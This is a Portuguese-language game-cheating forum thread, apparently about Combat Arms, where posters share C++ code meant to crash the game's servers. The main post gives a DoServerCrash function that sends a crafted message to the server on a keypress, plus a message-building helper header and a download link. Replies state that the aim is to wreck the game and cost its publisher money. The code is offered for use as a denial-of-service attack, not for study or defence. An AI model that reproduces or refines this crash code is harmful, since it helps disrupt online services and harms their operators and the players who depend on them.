CA SERVER CRASH BY GX4HXR & F43R

Posts 1–15 of 31 · Page 1 of 3
CA SERVER CRASH BY GX4HXR & F43R




Image dos arquivos de cabeçalhos

Mais um codigos pra vocês

Na base CPP coloca isso
Code:
void CBase::DoServerCrash(int Value)
{
    if (Value ==0)
        return;

    CAutoMessage Msg;
    Msg.Writeuint8(104);
    if(GetAsyncKeyState(0x4C) & 1){
    Msg.WriteWString((wchar_t*) L"Come get some come get some come get some come get some ");
    }
    g_LTClient->SendToServer(Msg.Read(), MESSAGE_GUARANTEED);
}
Algumas classes
Code:
//////////////////////////////////////////////////////////////////////////////
// Automatic message handling utility class

#ifndef __AUTOMESSAGE_H__
#define __AUTOMESSAGE_H__

#include "LTClient.h"
#include "iltmessage.h"

class ILTMessage_Write;
class ILTMessage_Read;

extern CCommonLT* g_CommonLT; // Defined in CommonUtilities.h

// Wrapper for ILTMessage_Write for making it easier to send messages
// It will be allocated from g_pCommonLT in the ctor, and will be released in the dtor
class CAutoMessage
{
public:
    // Constructors
    CAutoMessage() : m_pMsg(NULL)
    {
        Init();
    }
    ~CAutoMessage()
    {
        Term();
    }
    CAutoMessage(const ILTMessage_Read &cMsg) : m_pMsg(NULL)
    {
        Init();
        CLTMsgRef_Read cReadMsg(cMsg.Clone());
        WriteMessage(cReadMsg);
    }
    // Useful constructors for writing out one element of data
    // Be careful to make sure that the type is the one you expect
    CAutoMessage(const char *pStr) : m_pMsg(NULL)
    {
        Init();
        WriteString(pStr);
    }
    CAutoMessage(const wchar_t *pStr) : m_pMsg(NULL)
    {
        Init();
        WriteWString(pStr);
    }
    template <class T>
    CAutoMessage(const T &tValue) : m_pMsg(NULL)
    {
        Init();
        WriteType(tValue);
    }

    
    // Call this function to let go of the current message and make a new one
    // (e.g. when using the same CAutoMessage variable for multiple message calls.)
    void Reset() { Init(); }
    bool IsValid() { return m_pMsg != NULL ; }

    // Casting operators to get back to ILTMessage_Write
    inline operator ILTMessage_Write*() { return m_pMsg; }
    inline operator const ILTMessage_Write*() const { return m_pMsg; }
    inline operator ILTMessage_Write&() { return *m_pMsg; }
    inline operator const ILTMessage_Write&() const { return *m_pMsg; }

    // Wrappers for the rest of ILTMessage_Write's functions
    inline CLTMsgRef_Read Read() { return CLTMsgRef_Read(m_pMsg->Read()); }
    inline uint32 Size() const { return m_pMsg->Size(); }
    inline void WriteBits(uint32 nValue, uint32 nSize) { m_pMsg->WriteBits(nValue, nSize); }
    inline void WriteBits64(uint64 nValue, uint32 nSize) { m_pMsg->WriteBits64(nValue, nSize); }
    inline void WriteData(const void *pData, uint32 nSize) { m_pMsg->WriteData(pData, nSize); }
    inline void WriteMessage(ILTMessage_Read *pMsg) { m_pMsg->WriteMessage(pMsg); }
    inline void WriteMessageRaw(ILTMessage_Read *pMsg) { m_pMsg->WriteMessageRaw(pMsg); }
    inline void WriteString(const char *pString) { m_pMsg->WriteString(pString); }
    inline void WriteWString(const wchar_t *pString) { m_pMsg->WriteWString(pString); }
    inline void WriteCompLTVector(const LTVector &vVec) { m_pMsg->WriteCompLTVector(vVec); }
    inline void WriteCompPos(const LTVector &vPos) { m_pMsg->WriteCompPos(vPos); }
    inline void WriteCompLTRotation(const LTRotation &cRotation) { m_pMsg->WriteCompLTRotation(cRotation); }
    inline void WriteObject(HOBJECT hObj) { m_pMsg->WriteObject(hObj); }
    inline void WriteYRotation(const LTRotation &cRotation) { m_pMsg->WriteYRotation(cRotation); }
    inline void WriteDatabaseRecord( IDatabaseMgr *pDatabase, HRECORD hRecord ) { m_pMsg->WriteDatabaseRecord( pDatabase, hRecord ); }
    inline void Writebool(bool bValue) { WriteBits(bValue ? 1 : 0, 1); }
    inline void Writeuint8(uint8 nValue) { WriteBits(nValue, 8); }
    inline void Writeuint16(uint16 nValue) { WriteBits(nValue, 16); }
    inline void Writeuint32(uint32 nValue) { WriteBits(nValue, 32); }
    inline void Writeuint64(uint64 nValue) { WriteBits64(nValue, 64); }
    inline void Writeint8(int8 nValue) { WriteBits((uint32)nValue, 8); }
    inline void Writeint16(int16 nValue) { WriteBits((uint32)nValue, 16); }
    inline void Writeint32(int32 nValue) { WriteBits((uint32)nValue, 32); }
    inline void Writeint64(int32 nValue) { WriteBits64((uint64)nValue, 32); }
    inline void Writefloat(float fValue) { WriteBits(reinterpret_cast<const uint32&>(fValue), 32); }
    inline void Writedouble(double fValue) { WriteBits64(reinterpret_cast<const uint64&>(fValue), 64); }
    inline void WriteLTVector(const LTVector &vValue) { WriteType(vValue); }
    inline void WriteLTRotation(const LTRotation &cValue) { WriteType(cValue); }
    inline void WriteLTRigidTransform(const LTRigidTransform &tfValue) { WriteType( tfValue ); }
    inline void WriteLTTransform(const LTTransform &tfValue) { WriteType( tfValue ); }
    inline void WriteLTPolarCoord(const LTPolarCoord &polarCoord) { m_pMsg->WriteLTPolarCoord( polarCoord ); }
    inline void WriteCompLTPolarCoord(const LTPolarCoord &polarCoord) { m_pMsg->WriteCompLTPolarCoord( polarCoord ); }
    template <class T>
    inline void WriteType(const T &tValue) { m_pMsg->WriteType(tValue); }
private:
    inline void Init()
    {
        Term();
        m_pMsg = NULL;
        ILTMessage_Write *pMsg;
        LTRESULT nResult = g_CommonLT->CreateMessage(pMsg);
        if (nResult == LT_OK)
            m_pMsg = pMsg;
        ASSERT(nResult == LT_OK);
    }
    inline void Term()
    {
        m_pMsg = NULL;
    }
    CLTMsgRef_Write m_pMsg;
};

#endif //__AUTOMESSAGE_H__
Precisa definir o MESSAGE_GUARANTEED, isso eu posto amanha

Creditos:
Gx4hxR
F43R - Quase tudo dele -


Aviso pode dar erros tenque organizar os arquivos dos cabeçalhos em ordem espero que isso possa ajudar.

SCAN
GX4HXR & F4AR.rar - Verificador de malware do Jotti
GX4HXR & F4AR.rar10.2 MB · 544 downloads Scanning…
Aprovado! Esse deu trabalho hein!
Quote Originally Posted by Dave84311 View Post
RIP CABR ahahahah
This is nothing yet!
hahahaha credits F43R and anyone guy of *********
Esse cara podia mt bem fazer um vip com oq ele posto
tem mais um monte pra postar hehe, e vou postar atualizações tambem hehehe
kkkkkkkkkkkkkkkkk acho q vou postar life taker hehe
Quote Originally Posted by Gx4hxR View Post
kkkkkkkkkkkkkkkkk acho q vou postar life taker hehe
Posta kero antecipa meu vipão

---------- Post added at 10:57 PM ---------- Previous post was at 10:56 PM ----------

Quote Originally Posted by Gx4hxR View Post
tem mais um monte pra postar hehe, e vou postar atualizações tambem hehehe
N sei pq mas to começando a gosta de ti
vlw manouss deu a loka em vc e nois ganha '-'
Quote Originally Posted by Sr_Especialista View Post
vlw manouss deu a loka em vc e nois ganha '-'
N deu a louca em mim não, é pra estragar esse jogo lixo que a LUG ganha dinheiro
Cara sou novato nisso , mais o que isso faz ?
Como colocar ele ?
Pode postar um tutorial ?
Ai caralho, eu tenho a porra dessa base.
...
FFFFFFFFFUUUUUUUUUUUUUUUUUUUUUU
ótimo, agora crianças da WC vao se dar 100% de créditos pelo super lifetaker delas, e os verdadeiros coders de vip, os que realmente manjam Neo I.I.I Zeas, e etc vao sair prejudicados com isso.
Ae lecherzao fdp

FER = QUEM POSTO ESSA MERDA NO G O R D O N
Posts 1–15 of 31 · Page 1 of 3
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Need help?